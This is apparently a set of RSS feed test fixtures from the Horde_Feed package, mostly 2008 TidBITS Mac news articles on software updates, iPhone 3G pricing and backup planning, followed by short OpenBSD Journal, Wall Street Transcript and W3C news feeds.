    28. 1Password 2.6.5 from Agile Web Solutions updates the form-filling and password management utility with improved support for Firefox 3, support for the Safari 4 Developer Preview, DEVONagent, the OmniWeb Sneaky Peek releases, and Flock 2. Localizations were removed for smaller download sizes, credit card filling was improved on a number of sites, and a variety of small cosmetic changes were made. The new version also provides some stability fixes. ($34.95 new, free upgrade, 14 MB)
    29. Apple Wi-Fi firmware 7.3.2 updates for Time Capsule, AirPort Extreme, and AirPort Express has what Apple describes as "bug fixes." Thanks so much for explaining what problems we might have that were solved by this update to the hardware's soul. The update requires that you have AirPort Utility 5.3.2 installed under Mac OS X 10.4 Tiger, 10.5 Leopard, Windows XP, or Windows Vista. Launching AirPort Utility causes the program to perform a firmware check of all devices on the local network; you're then prompted to upgrade any applicable Wi-Fi routers. AirPort Utility can be downloaded through the above link for your particular platform.

      30.  

      Copyright © 2008 TidBITS Staff. TidBITS is copyright © 2008 TidBITS Publishing Inc. If you're reading this article on a Web site other than TidBITS.com, please let us know, because if it was republished without attribution, by a commercial site, or in modified form, it violates our Creative Commons License.

      MARK/SPACE, INC: Take it with you! The Missing Sync makes
      it easy to synchronize contacts, calendars, notes, photos
      and more from your Mac to your BlackBerry, Palm OS, or
      Windows Mobile phone. <http://www.markspace.com/bits>
       
      ]]>             <![CDATA[Precipitate Shines Mac Spotlight into Google's Cloud]]> http://db.tidbits.com/article/9682?rss Fri, 04 Jul 2008 05:46:13 PDT http://db.tidbits.com/article/9682 Stuart Morgan of Google has released a free Mac OS X preference pane called Precipitate that enables Spotlight and Google Desktop to search documents stored in your Google Docs account, along with your Google Bookmarks.


      We've been using Google Docs an increasing amount, and Precipitate worked fine in my initial Spotlight search tests for finding documents that exist only online. Clicking a found Google Docs document in the Spotlight search results opened it in my default browser, just as you'd expect. If you use either Google Docs or Google Bookmarks and Spotlight or Google Desktop, give Precipitate a try.


      Future updates of Precipitate will likely support multiple Google accounts and some sort of automatic update functionality (so in the meantime, you'll need to check for updates manually at the Precipitate page). It's a 904K download and works in Mac OS X 10.5 Leopard; I haven't yet confirmed Tiger compatibility.

       

      Copyright © 2008 Adam C. Engst. TidBITS is copyright © 2008 TidBITS Publishing Inc. If you're reading this article on a Web site other than TidBITS.com, please let us know, because if it was republished without attribution, by a commercial site, or in modified form, it violates our Creative Commons License.

      VMware Fusion. The most seamless way to run Windows on your Mac.
      Backed by nearly a decade of proven virtualization technology.
      Try VMware Fusion today for free, or order online for only $79.
      Visit: <http://www.tidbits.com/about/support/vmware-fusion.html>
       
      ]]>             <![CDATA[AT&T Waking Up Early Friday for iPhone Sales]]> http://db.tidbits.com/article/9681?rss Thu, 03 Jul 2008 14:33:20 PDT http://db.tidbits.com/article/9681 AT&T revealed this week that the iPhone 3G, announced at Apple's Worldwide Developer Conference last month, will go on sale at Apple and AT&T retail stores in the United States at 8 am in each local time zone on Friday, 11-Jul-08. This is a change from last summer's original iPhone roll-out, for which stores closed early and then reopened at 6 pm.

      We suspect the early morning start time is a realistic nod to the likelihood that most transactions this time around won't be quite as quick as last year's iPhone sales. Since customers will need to activate each iPhone in the store, rather than taking the box home to activate the phone in iTunes, we're sure the process will take more than a couple of minutes per person.

      As fellow editor Glenn Fleishman reported, existing iPhone users, new AT&T customers, and other existing AT&T customers eligible for an upgrade will be able to buy an iPhone 3G at the $199 and $299 subsidized prices. (See "Current iPhones Keep Cheaper Plan on Reactivation," 2008-07-01.) Existing AT&T customers in the middle of an existing contract on a different phone will be able to pay $200 above the subsidized price to start up a new iPhone 3G contract. AT&T customers whose accounts aren't current or who have a past history of payment delinquency will have problems obtaining an iPhone at all, as no prepaid plans are available at the launch. AT&T has provided a Web site to check upgrade eligibility.

      There's also been some confusion over news this week that AT&T will be offering the iPhone at a higher price for those who'd like to buy it without a two-year contract. The company has said they will offer the 8 GB and 16 GB models for $599 and $699, respectively, some time after the July 11th launch date for the iPhone 3G. Some early coverage has implied, incorrectly, that the non-subsidized phones will be "unlocked" to work on any carrier's GSM network. In fact, these phones will still work only with AT&T service, but customers will be able to select month-to-month plans and cancel without penalty. (I'd rather pay the $175 early cancellation fee than the $400 surcharge!)

       

      Copyright © 2008 Mark H. Anbinder. TidBITS is copyright © 2008 TidBITS Publishing Inc. If you're reading this article on a Web site other than TidBITS.com, please let us know, because if it was republished without attribution, by a commercial site, or in modified form, it violates our Creative Commons License.

      WebCrossing Neighbors Creates Private Social Networks
      Create a complete social network with your company or group's
      own look. Scalable, extensible and extremely customizable.
      Take a guided tour today <http://www.webcrossing.com/tour>
       
      ]]>             <![CDATA[Current iPhones Keep Cheaper Plan on Reactivation]]> http://db.tidbits.com/article/9680?rss Tue, 01 Jul 2008 21:17:29 PDT http://db.tidbits.com/article/9680 You won't pay a 3G rate for a 2G iPhone with a new service plan, AT&T confirmed for me today. This should be good news to anyone looking to either sell their so-called 2G iPhone when they upgrade to an iPhone 3G, or for those looking to buy (or beg) the older iPhone model without paying a fee for bandwidth they can't use.

      This stems from AT&T's clear policy that the firm will allow current subscribers with 2G iPhones - the ones that use EDGE as their fastest connection method over the cell network - to trade up to the iPhone 3G, exiting their current contract with no cancellation fee. You get to keep the 2G iPhone as well; that wasn't entirely clear a few weeks ago, but is now quite certain. (Since every U.S. customer paid full freight for that iPhone, with no carrier subsidy, it would be impossible for AT&T to reclaim the phone.)

      What wasn't clear, even with the release today of piles of details about AT&T's pricing for the iPhone 3G hardware and associated service plans, was what someone who purchased or was given a 2G iPhone would pay for a new contract with AT&T.

      The company gave me an answer this afternoon: The current 2G iPhone plans will continue to be available for people who want to start up new service plans with someone's old phone. That means a 2G iPhone buyer or gift recipient can pay $20 per month for unlimited EDGE and 200 text messages (combined incoming and outgoing); plans with additional text messages along with family plans are still available, too. The equivalent iPhone 3G service plan is $35 per month: $30 for unlimited 3G, and $5 for 200 text messages; you can choose no text message bundle, but then pay a whopping 20 cents per SMS.

      The original GoPhone prepaid option is also available, which costs $20 per month for unlimited EDGE data on top of whatever voice minutes you choose, but does not include text messages in that price.

      There will likely be hundreds of thousands of the over 5 million 2G iPhones put up for sale or handed off to family members because of AT&T's upgrade policy. The combination of a sale price for the 2G iPhone with the lower monthly service plan pricing will likely make it a reasonable alternative for people who don't want to commit to $35 per month for two years.

      AT&T hilariously avoids the secondary market issue by suggesting you "hand it off to a friend or family member." Which may be what I do, but I doubt that will represent the majority of 2G iPhone transfers. The company posted instructions about wiping your 2G iPhone, which is rather nice of them, although they chose to distribute these instructions as a PDF.

      Also today, AT&T clarified who qualifies for a subsidized iPhone, and how much a contract-free iPhone will cost. If you are in the middle of a contract period with any handset but an iPhone, you don't qualify; that's also true if your account isn't in good standing. Users who meet those criteria pay $400 (8 GB) or $500 (16 GB). No-contract iPhone 3Gs won't be available at launch, but when that option comes around, it will cost $600 (8 GB) and $700 (16 GB). (At least one site has pointed out that buying an iPhone 3G, keeping the plan for over 30 days, and then canceling service and paying the early-termination fee is much cheaper. AT&T may offer a wrinkle there to prevent this.)

      All current iPhone users will pay an $18 fee to upgrade to an iPhone 3G, and $200 (8 GB) or $300 (16 GB) for the phone. New customers pay $36 for the phone activation.

       

      Copyright © 2008 Glenn Fleishman. TidBITS is copyright © 2008 TidBITS Publishing Inc. If you're reading this article on a Web site other than TidBITS.com, please let us know, because if it was republished without attribution, by a commercial site, or in modified form, it violates our Creative Commons License.

      VMware Fusion. The most seamless way to run Windows on your Mac.
      Backed by nearly a decade of proven virtualization technology.
      Try VMware Fusion today for free, or order online for only $79.
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      ]]>             <![CDATA[Mac OS X 10.5.4 and Security Update 2008-004 Fix Bugs]]> http://db.tidbits.com/article/9679?rss Mon, 30 Jun 2008 15:12:11 PDT http://db.tidbits.com/article/9679 Apple released Mac OS X 10.5.4 today, a bug-fix update that touches on several areas. Recent security updates are included (though the recent ARDAgent vulnerability has not yet been addressed; see "How to Protect Yourself from the New Mac OS X Trojans," 2008-06-25). If you want to take advantage of the security updates without installing the operating system update, you can download Security Update 2008-004 for Intel (128 MB) and PowerPC (80 MB); security updates for Mac OS X 10.5 Server are also available for Intel (165 MB) and PowerPC (127 MB).

      Designers will be relieved to discover that a problem with saving and reopening Adobe Creative Suite 3 files located on remote servers has been resolved. A pair of AirPort fixes deal with reliability of 5 GHz networks and poor performance when using Logic Studio or MainStage.

      According to Apple's release notes, iCal sees the most improvements, such as resolving problems when deleting events, copying and pasting attendees between events, and reliability of shared meetings. Fixes in Safari center on improving performance and solving problems loading secure Web pages. Apple is still grappling with the way Spaces operates, fixing a problem where the Finder would become the active application when switching to a space instead of the program residing in that space, as well as an issue dealing with assigning applications to spaces in the Spaces preference pane.

      This update also includes a number of new security fixes, including major updates to patch recent vulnerabilities discovered in the Ruby programming language. Two fixes close holes that could allow an attacker to take over your computer if you were to visit a malicious Web site using Safari. One of those vulnerabilities is exploitable only if you have the Safari preference to "Open 'safe' files after downloading" set - this is a valuable reminder to disable that preference in Safari's General preference pane.

      The Mac OS X 10.5.4 update also adds raw format support for more cameras, fixes a problem where X11 may not be completely installed, and improves L2TP VPN client reliability.

      The update is available via Software Update or as standalone downloads: Mac OS X 10.5.4 Update (88 MB); Mac OS X 10.5.4 Combo Update (561 MB); Mac OS X Server 10.5.4 Update (133 MB); Mac OS X Server Combo 10.5.4 Update (677 MB).

       

      Copyright © 2008 Jeff Carlson. TidBITS is copyright © 2008 TidBITS Publishing Inc. If you're reading this article on a Web site other than TidBITS.com, please let us know, because if it was republished without attribution, by a commercial site, or in modified form, it violates our Creative Commons License.

      MARK/SPACE, INC: Take it with you! The Missing Sync makes
      it easy to synchronize contacts, calendars, notes, photos
      and more from your Mac to your BlackBerry, Palm OS, or
      Windows Mobile phone. <http://www.markspace.com/bits>
       
      ]]>             <![CDATA[Bonus Stories for 30-Jun-08]]> http://db.tidbits.com/article/9678?rss Mon, 30 Jun 2008 13:40:19 PDT http://db.tidbits.com/article/9678
      Microsoft Needs to Empty Windows Trash, Reboot -- Mr. Ballmer, tear down this operating system! Seriously: you have virtualization software. Vista is bloated, but not bad. Don't make Windows 7 continue to carry the water for 15 years of old, sometimes bad decisions. Just a suggestion. (Glenn Fleishman, 2008-06-29)


      Discovering Sparse Bundle Disk Images -- A new disk image format introduced in Leopard is backup-friendly, because it doesn't require huge files to be backed up when only a small change has occurred. Now we just need more developers to catch on. (Joe Kissell, 2008-06-27)


      Print Custom Text & Photo M&M's -- Who knew you could now print photos on custom M&M's? Well, you do now, but good luck getting a photo to print well in half the size of a dime. (Adam C. Engst, 2008-06-27)


      Vanity Spreads to Top-Level Domain Names -- Have you ever wanted to see your name in dot-lights? The group that oversees domain names will allow vanity and corporate top-level domain registration. Are .coke, .pepsi, and .7up in our future? (Glenn Fleishman, 2008-06-26)


      Symbian Smartphone Platform Goes Free, Partly Open Source -- Nokia buys out its partners in Symbian, the world's most popular smartphone platform by far, and may change the whole nature of competition for these intelligent communicators by making it even more accessible to more handset makers. It's a shot across the bow for Apple, RIM, Microsoft, and Google, but it won't reach fruition until 2010. (Glenn Fleishman, 2008-06-24)


      Get More From the iPhone's Text Widget -- Texting on the iPhone is fun and useful, but it also can be expensive and may not work all the time. Discover how to track and reduce your bill, and find tips on solving problems with the Text widget. (Ted Landau, 2008-04-24)


      Solve More Word 2008 Problems with AppleScript -- A pair of articles I wrote for Macworld provide several AppleScripts that address common complaints in Word 2008. (Joe Kissell, 2008-04-22)

       

      Copyright © 2008 Adam C. Engst. TidBITS is copyright © 2008 TidBITS Publishing Inc. If you're reading this article on a Web site other than TidBITS.com, please let us know, because if it was republished without attribution, by a commercial site, or in modified form, it violates our Creative Commons License.

      READERS LIKE YOU! Support TidBITS with a contribution today!
      <http://www.tidbits.com/about/support/contributors.html>
      Special thanks this week to Michael O'Connell, Hugh Marsh,
      Geoffrey Meissner, and Richard Healey for their generous support!
       
      ]]>             <![CDATA[TidBITS Watchlist: Notable Software Updates for 30-Jun-08]]> http://db.tidbits.com/article/9668?rss Mon, 30 Jun 2008 11:05:09 PDT http://db.tidbits.com/article/9668
    30. Adobe Acrobat 9 Pro updates Adobe's PDF manipulation software with improved creation and management of forms, support for Flash, document reviewing, and security. A new PDF Portfolio feature enables combining of several PDF files into one file using templates for displaying the information. This version also provides the capability to remove redacted information from files instead of just covering it up (a problem companies and government agencies have run into recently when such redacted information has become public). Unsurprisingly, the Mac version lags behind the Windows version. Microsoft Office integration has been removed, and Mac users can purchase only the $449 Pro version whereas Windows users can also choose Acrobat 9 Pro Extended or the less expensive Acrobat 9 Standard. ($449 new, $159 upgrade)
    31. Pro Applications Update 2008-02 from Apple fixes problems in Final Cut Pro 6.0.4 and Compressor 3.0.3 related to installation, compatibility, general performance, and overall stability. (Free update, 138 MB)
    32. Final Cut Server Update 1.1 from Apple addresses problems with the check in/check out process for Final Cut Pro projects and double-byte character sets, and generally improves the reliability of the asset management and workflow automation software. ($999 new, free update, 50.1 MB)
    33. MarsEdit 2.1.4 from Red Sweater Software is a minor update to the popular blog posting software. Changes include a dock menu item for creating a new post; uploading to a specific Picasa album for Blogger users; and fixes for crashes related to bad URLs, the display of tags in the main window preview, and inadvertent loading of URLs dragged to the preview window. ($29.95 new, free update from 2.x or $9.95 from 1.0, 3.5 MB)
    34. Keyboard Maestro 3.2 from Stairways Software enhances the macro utility with more options for macro groups, including secondary key activation of macros within a group and both temporary and permanent palettes showing the contained macros. The secondary key activation is particularly interesting, since it lets you activate a group, and then execute a particular macro within the group using a single key. So you could press Command-Control-M to activate a group of text-munging macros (remember that Keyboard Maestro can apply BBEdit Text Factories to clipboard text), and then press Q to activate a quote-cleanup macro. Other new features include an Alert action with a Stop/Continue dialog, macros without direct triggers, and remembered window size and position for script result windows. Keyboard Maestro 3.2 also adds triggers based on scripts, wake events, and login. ($36 new, free upgrade, 7.1 MB)
    35. Dejal Simon 2.4.1 from Dejal Systems fixes several bugs in the server monitoring tool with the Port plug-in and adds a pair of hidden preferences to log debug information for the Port and Ping plug-in helpers. ($29.95 to $195 new, free upgrade, 10.8 MB)

      36.  

      Copyright © 2008 Adam C. Engst. TidBITS is copyright © 2008 TidBITS Publishing Inc. If you're reading this article on a Web site other than TidBITS.com, please let us know, because if it was republished without attribution, by a commercial site, or in modified form, it violates our Creative Commons License.

      WebCrossing Neighbors Creates Private Social Networks
      Create a complete social network with your company or group's
      own look. Scalable, extensible and extremely customizable.
      Take a guided tour today <http://www.webcrossing.com/tour>
       
      ]]>             <![CDATA[Critical Updates for Microsoft Office 2008 and 2004]]> http://db.tidbits.com/article/9667?rss Mon, 30 Jun 2008 08:51:56 PDT http://db.tidbits.com/article/9667 We've been waiting for these! The just-released Microsoft Office 2008 for Mac 12.1.1 Update fixes a variety of troublesome bugs, some introduced in the previous update. And, the Microsoft Office 2004 for Mac 11.5.0 Update fixes some crashing bugs, improves compatibility with Mac OS X 10.5 Leopard, and includes all the updates previously released for Office 2004, so new installations of Office 2004 don't have to be updated 19 times to be brought up to date.


      Office 2008 Changes -- Most notably (from my perspective, anyway), Word and Excel documents downloaded from the Web or attached to email messages will now open when double-clicked. Yay! This has been driving me bonkers whenever I tried to open a Word file attached to an email message in Eudora.

      Also fixed in Word 2008 is a bug that would cause spaces to be lost when opening a document created in or saved by Word 2008 or Word 2007 in Windows - I didn't run into that one, thankfully. Other fixes preserve items in Notebook Layout documents when the document is converted from .docx to .doc, preserve font size settings for text in tables, and address a problem in saving .doc documents that contain an Area or Filled Radar chart.

      Excel 2008 also features numerous improvements, including accepting international decimal separators for error bars, no longer duplicating embedded movies when workbooks are saved in .xls format, and improving PivotTable reports. Excel's reliability has been enhanced in a variety of situations, such as when chart data is updated, when you reference or link to a sheet name that resembles a cell reference, and at times when you calculate or edit a formula.

      PowerPoint 2008 and Entourage 2008 see fewer changes. This update fixes a problem that would cause PowerPoint to take a long time to open presentations that use certain fonts, and also fixes a nasty bug that would cause Entourage to crash when you wake the Mac from sleep.

      The Microsoft Office 2008 for Mac 12.1.1 Update requires Mac OS X 10.4.9 or later, and that you have already installed the Microsoft Office 2008 for Mac Service Pack 1 (see "Microsoft Fixes Office 2008 Bugs, Announces VBA Return," 2008-05-19). It's a 153.3 MB download, and is available from Microsoft's Web site or via the Microsoft AutoUpdate utility launched by choosing Check for Updates from any Office 2008 application. Once again, kudos to Microsoft for excellent release notes.


      Office 2004 Changes -- For Office 2004, which Microsoft appears to be maintaining more actively than is usual for a previous release, the 11.5.0 update improves compatibility with documents in the Open XML format used by Office 2008 and Office 2007 in Windows, and it also fixes a problem whereby the installer would find copies of Office backed up by Time Machine.

      In Word 2004, Microsoft fixed a number of crashing bugs, including several that could occur during typical operation, one that could happen when you pasted content from an Office 2008 document into Word 2004, and one that kicked in when getting the properties of a hyperlink via AppleScript. Other fixes include improved text display when you change the size of table columns and cosmetic improvements to the Page Setup dialog in Leopard.

      Similarly, Excel 2004 receives fixes for errors when pasting data from Excel 2008; for crashing bugs related to opening workbooks containing a shape, a SmartArt graphic, or a text box created in Excel 2008 or Excel 2007; for saving paper sizes for documents saved in both Excel 2004 and Excel 2008; and for the inability to open Excel 2007 documents via the Open dialog.

      Finally, the update fixes a problem in PowerPoint 2004 that could cause crashes when opening presentations with a large number of slides, or when pasting content from an open Office 2008 application running on an Intel-based Mac into a PowerPoint 2004 presentation.

      The Microsoft Office 2004 for Mac 11.5.0 Update requires Mac OS X 10.2.8 or later, and as I noted previously, includes all previous Office 2004 updates. It's a 58.9 MB update, and is available either via the Office 2004 version of Microsoft AutoUpdate or as a standalone download.

       

      Copyright © 2008 Adam C. Engst. TidBITS is copyright © 2008 TidBITS Publishing Inc. If you're reading this article on a Web site other than TidBITS.com, please let us know, because if it was republished without attribution, by a commercial site, or in modified form, it violates our Creative Commons License.

      Fetch Softworks: With Fetch 5.3, FTP and SFTP are simpler
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      ]]>             <![CDATA[TidBITS Issue Hiatus for 07-Jul-08]]> http://db.tidbits.com/article/9677?rss Mon, 30 Jun 2008 08:09:15 PDT http://db.tidbits.com/article/9677 Although the other hard-working members of the TidBITS staff will continue to be writing and editing articles over the next few weeks, Tonya and I will be taking some time for - gasp! - a summer vacation. We've heard that these "vacations" are all the rage, and we've been curious to see what they're like, so we'll be wrapping up this week and then spending the next few weeks peregrinating around in the UK. We'll mostly be visiting castles in Wales, since Tristan is a major Welsh castle buff and has planned much of our itinerary around his favorites, with a few days in Portsmouth to see Admiral Nelson's ship HMS Victory. (Several years ago, when he was engrossed in naval history, Tristan dressed as Admiral Nelson for Halloween, a costume that required constant explanation, given how few Americans know of Nelson's victory at the Battle of Trafalgar.)

      The practical upshot of this family vacation is that there will be no email issue of TidBITS on 07-Jul-08, since I'll be on a plane, and Glenn and Joe and Jeff can use a break from the extra effort of putting out the issue after all the ebooks they've written and edited over the last few weeks. They'll still be posting articles on our Web site, though, and assuming all goes well, the next email issue should appear on 14-Jul-08. Tonya and I should have sporadic email access while we're away, but don't expect much in the way of quick replies until the week of July 21st, when I'll start digging out.

       

      Copyright © 2008 Adam C. Engst. TidBITS is copyright © 2008 TidBITS Publishing Inc. If you're reading this article on a Web site other than TidBITS.com, please let us know, because if it was republished without attribution, by a commercial site, or in modified form, it violates our Creative Commons License.

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      ]]>             <![CDATA[The Hole in My Backup Plan]]> http://db.tidbits.com/article/9676?rss Mon, 30 Jun 2008 02:53:14 PDT http://db.tidbits.com/article/9676 A couple of weeks ago, my 17-inch MacBook Pro, which has been my primary computer for the last year, stopped working. I know a thing or two about troubleshooting, and I tried all the tricks I could think of, but the problem appeared not to involve the hard disk, RAM, NVRAM, PMU, or any other component my ministrations could affect. My Mac was showing the signs of having a logic board defect, and since I couldn't even boot from a CD without a kernel panic, it was necessary to put my Mac in the hands of professionals for repair.

      The timing couldn't have been worse, as I was simultaneously pushing to meet several major writing deadlines, trying to spend time with family visiting from out of town, and preparing to move to a new apartment! And this little crisis has highlighted a deficiency - or maybe a few deficiencies - in what I thought was an excellent backup plan. Being without my main computer this long (I hope to get it back this week) has been excruciating, and as a public service I'd like to explain why that is.

      First, I want to be very clear about the fact that I follow my own advice. Of course I have multiple backups of my data, including a bootable duplicate. I also have AppleCare for this laptop, so even though it was a couple of weeks past the end of its standard 1-year warranty, I knew that any potentially expensive repairs would be covered. (And yes, that coverage extends here to France even though I bought the computer in the United States.) I also have two other Macs here (and my wife has a third), so there are other Macs I can use in the interim.

      However, apart from all the hours I've had to spend troubleshooting and dealing with the repair, the biggest problem has been that none of these other Macs comes close to giving me the capabilities of my MacBook Pro, which has a 2.4 GHz Intel Core 2 Duo processor, 4 GB of RAM, a 250 GB hard disk, and a 1920-by-1200-pixel display. The other Macs I have at my disposal are two PowerBook G4s (including the 1 GHz TiBook on which I'm now typing this) and the Intel-based Mac mini that's our media server (and whose only display is a standard-definition TV). All of these have significant problems as backup machines, but I'd never realized this was the case because I'd never had to rely on them completely.

      Here's what I found:

      • Given my line of work, I regularly rely on software that runs only on Intel-based Macs (such as virtualization programs). That fact alone means I can't get some of my crucial work done on either of the PowerBooks. And even some universal binary applications, like Microsoft Office 2008, are at times painfully slow on a G4.
      • Although my Mac mini has an Intel processor, it's slow and has half the RAM of my MacBook Pro - it's better than nothing, but still not enough. (It's also normally busy doing other important tasks, such as functioning as a backup server, so it's problematic to switch to it for any length of time.)
      • Because there's no stand-alone, high-resolution monitor in the house, I'm also constrained to working with a much smaller screen than I'm accustomed to, and that seriously reduces my productivity.
      • Much of my work involves testing software - which means I need to be able to have a reliable Mac to use for writing and other essential tasks, while testing risky or time-consuming programs and procedures on a less-critical computer. Having my most reliable and useful computer disappear from the mix is debilitating.
      • Apart from the issue of sheer processor speed, the limited RAM in my other computers makes it impractical to run as many applications at once as I normally do, further reducing my efficiency.
      • I hadn't installed all my important software separately on the PowerBook or Mac mini or synchronized my most essential files (as there had never been a need to do so), meaning that I had to jump through some extra hoops just to get back to work. To be sure, I could boot one of our other Macs from the duplicate of my MacBook Pro's drive. But for a variety of reasons, that makes my work awkward, especially since the capabilities and configuration of the MacBook Pro are so much different from those of the other Macs.

      So what's the lesson to be learned from all this? Honestly, I'm not yet entirely sure. It would be easy enough to say I should have had a backup computer with as much (or nearly as much) oomph as my main computer, but I can't afford that, and for the 99 percent of my time that my main Mac is working, it would be overkill. I'd like to make the argument that we now clearly need a high-definition TV - you know, just so we have a decent monitor to use in emergencies! - but that could cost more than a new Mac. I'm leaning toward the opinion that, at the very least, I should buy new Macs a bit more frequently (again, finances permitting) so that my previous computer is still recent enough to do real, demanding work.

      Needless to say, your mileage may vary. You may suffer much less inconvenience, or much more, to be without your main Mac - or your only Mac - for a couple of weeks. I can't make a good general-purpose suggestion about having a backup Mac available, but this experience has made me aware of an entirely new set of issues to think about when considering what's needed to stay up and running when trouble strikes.

       

      Copyright © 2008 Joe Kissell. TidBITS is copyright © 2008 TidBITS Publishing Inc. If you're reading this article on a Web site other than TidBITS.com, please let us know, because if it was republished without attribution, by a commercial site, or in modified form, it violates our Creative Commons License.

      Make friends and influence people by sponsoring TidBITS!
      Put your company and products in front of tens of thousands of
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      ]]>             <![CDATA[Hot Topics in TidBITS Talk/30-Jun-08]]> http://db.tidbits.com/article/9675?rss Mon, 30 Jun 2008 00:54:24 PDT http://db.tidbits.com/article/9675
      Car Bluetooth Hands Free Units -- Readers provide suggestions for Bluetooth in-car speakers for talking on the phone hands-free while driving. (5 messages)


      Making AppleCare Worthwhile: MacBook Pro Battery Replacement -- Jeff Carlson's experience getting a replacement battery is echoed by some readers, while others debate the merits of AppleCare. (19 messages)


      Firefox feature sought -- Firefox's add-on capability opens the door for features that aren't included in the program itself. (11 messages)


      How to Protect Yourself From The New Mac OS X Trojans -- Readers discuss possible workarounds for the latest security vulnerabilities. (14 messages)


      Firefox 3 Bounds Forward -- People are reporting mixed experiences running the newest version of Firefox following Adam's article. (4 messages)


      Critical Update for Microsoft Office 2008 -- The latest Office update apparently does not fix an issue where the modification date is changed on PowerPoint files just by opening them. However, a few workarounds are suggested. (2 messages)

       

      Copyright © 2008 Jeff Carlson. TidBITS is copyright © 2008 TidBITS Publishing Inc. If you're reading this article on a Web site other than TidBITS.com, please let us know, because if it was republished without attribution, by a commercial site, or in modified form, it violates our Creative Commons License.

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      ]]>             Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-www.twst.com-mynetscape-main.rdf0000664000175000017500000000744312653701626027165 0ustar janjan The Wall Street Transcript http://www.twst.com/?netscape What is the word on Wall Street. The Wall Street Transcript helps you to understand the financial markets. Each week prominent analyst, money managers and CEOs analyze market trends, discuss industry issues and rate management performance. en-us TWST.com http://www.twst.com/?netscape http://archive.twst.com/mynetscape/logo.gif 123 31 Company Interview Excerpt: Richard Kurtz Advanced Photonix, Inc. (API) http://archive.twst.com/notes/articles/akn600.html?netscape Company Interview Excerpt: Paul J. Van Der Wansem Btu International, Inc. (BTUI) http://archive.twst.com/notes/articles/akn601.html?netscape Company Interview Excerpt: Dr. Noah Berkowitz Synvista Therapeutics, Inc. (SYI) http://archive.twst.com/notes/articles/akn603.html?netscape Company Interview Excerpt: Richard Taney Delcath Systems, Inc. (DCTH) http://archive.twst.com/notes/articles/akm600.html?netscape Company Interview Excerpt: Jason Brown Organic TO GO Food Corporation (OTGO) http://archive.twst.com/notes/articles/akn604.html?netscape Company Interview Excerpt: Jason Ash - Pacifichealth Laboratories, Inc. (PHLI) http://archive.twst.com/notes/articles/akm604.html?netscape Company Interview Excerpt: William Wunderlich Autoinfo, Inc. (AUTO) http://archive.twst.com/notes/articles/akp600.html?netscape Company Interview Excerpt: John T. Hickerson Ffe Transportation Services, Inc. (FFEX) http://archive.twst.com/notes/articles/akp601.html?netscape Analyst Interview Excerpt: Outlook For Financial Processing Companies John Kraft D.A. Davidson & http://archive.twst.com/notes/articles/zgw802.html?netscape Company Interview Excerpt: Mark Weiss Jer Investors Trust Inc. (JRT) http://archive.twst.com/notes/articles/ake601.html?netscape Company Interview Excerpt: James E. Sigmon Txco Resources Inc. (TXCO) http://archive.twst.com/notes/articles/akn607.html?netscape Company Interview Excerpt: Alex Edwards Iii Renew Energy Resources, Inc. (REER) http://archive.twst.com/notes/articles/akn608.html?netscape Money Manager Interview Excerpt: Flexible & Adaptive Investment Strategies Medon A. Michaelides, R http://archive.twst.com/notes/articles/zgz500.html?netscape Money Manager Interview Excerpt: Investing IN Canadian Growth-oriented Value Stocks Neil Wickham http://archive.twst.com/notes/articles/zgz501.html?netscape Send Search search http://archive.twst.com/cgi/txt_search.cgi Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-www.undeadly.org-cgi%2Faction=rss0000664000175000017500000001642612653701626027161 0ustar janjan OpenBSD Journal http://undeadly.org/ The OpenBSD Community. en-us dhartmei@undeadly.org OpenBSD Journal http://undeadly.org/images/logo.jpg http://undeadly.org/ 300 100 The OpenBSD Community. [c2k8]:Hackathon Summary Part 10 http://undeadly.org/cgi?action=article&sid=20080919002401 conf Fri, 19 Sep 2008 03:35:59 GMT

      c2k8 General Hackathon (Part 10) - June 7-15, 2008, Edmonton, Alberta, Canada

      I would like to diverge a little from past articles and give a little background on how these stories evolve and eventually get published; a little behind the scenes perspective, if you will. The output of these stories has slowed since the c2k8 hackathon. At the rate I'm going, c2k9 will be just around the corner after I'm done.

      constantine0257

      Read on to get the scoop and more from the c2k8 developers:

      Read more... ]]>             New Ports of the Week #36 (September 7) http://undeadly.org/cgi?action=article&sid=20080912120648 ports Fri, 12 Sep 2008 12:08:41 GMT There are 20 new ports for the week of September 1 to September 7:

      gworkspace

      Some ports had updates that users should be aware of.

      Read more... ]]>             How OpenBSD is made http://undeadly.org/cgi?action=article&sid=20080911114306 openbsd Thu, 11 Sep 2008 11:38:34 GMT

      With every new release more and more new users are attracted to Puffy and invariably there are questions regarding the OpenBSD release cycle and process. Although this is already well documented in the FAQ, let's take a look at what it takes to bring a new release to life.

      Please read on for the rest of Mitja's story:

      Read more... ]]>             European pre-orders for 4.4 are open! http://undeadly.org/cgi?action=article&sid=20080909205412 44 Wed, 10 Sep 2008 10:52:08 GMT A recent commit by Theo de Raadt (deraadt@) reveals that the European store is now open for OpenBSD 4.4 pre-orders.

      In order to make the project able to hold conferences such as the annual Hackathons and other events please help support it.

      If you haven't already, or you've been waiting to place your EU order, now is the time! ]]>             Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-www.w3.org-2000-08-w3c-synd-home.rss0000664000175000017500000002136612653701626026671 0ustar janjan World Wide Web Consortium - Web Standards Leading the Web to Its Full Potential... http://www.w3.org/ 2008-07-21 Workshop report: Role of Mobile Technologies in Fostering Social Development 2008-06-30: Today W3C publishes a report on the June 2008 Workshop on the Role of Mobile Technologies in Fostering Social Development. Participants discussed how numerous available services on mobile phones could help people in underserved regions. Discussion underlined the need for a concerted effort among all the stakeholders (including practitioners, academics, regulators, and mobile industry) to build a shared view of the future of the mobile platform as a tool to bridge the digital divide. The Workshop was jointly organized by W3C and NIC.br, with the generous support of UNDP and Fundacion CTIC (Gold Sponsors), Opera Software and MobileActive.org (Silver sponsors). This work takes place under the European Union's 7th Research Framework Programme (FP7), part of Digital World Forum project. Learn more about the W3C Mobile Web for Social Development Interest Group and the W3C Mobile Web Initiative. (Photo credit: A. Mangin (Cibervoluntarios). Permalink) http://www.w3.org/News/2008#item118 2008-06-30 XML Entity definitions for Characters Draft Published 2008-07-21: The Math Working Group has published the Working Draft of XML Entity definitions for Characters. Many XML entity names are in common use for mathematical symbols, and this specification aims to provide standard mappings to Unicode for each of these names. Learn more about the Math Activity. (Permalink) http://www.w3.org/News/2008#item124 2008-07-21 First Drafts of XQuery 1.1 and XQuery 1.1 Use Cases Published 2008-07-15: The XML Query Working Group has published the First Public Working Drafts of XQuery 1.1 and XQuery 1.1 Use Cases. The former describes a query language called XQuery, which is designed to be broadly applicable across many types of XML data 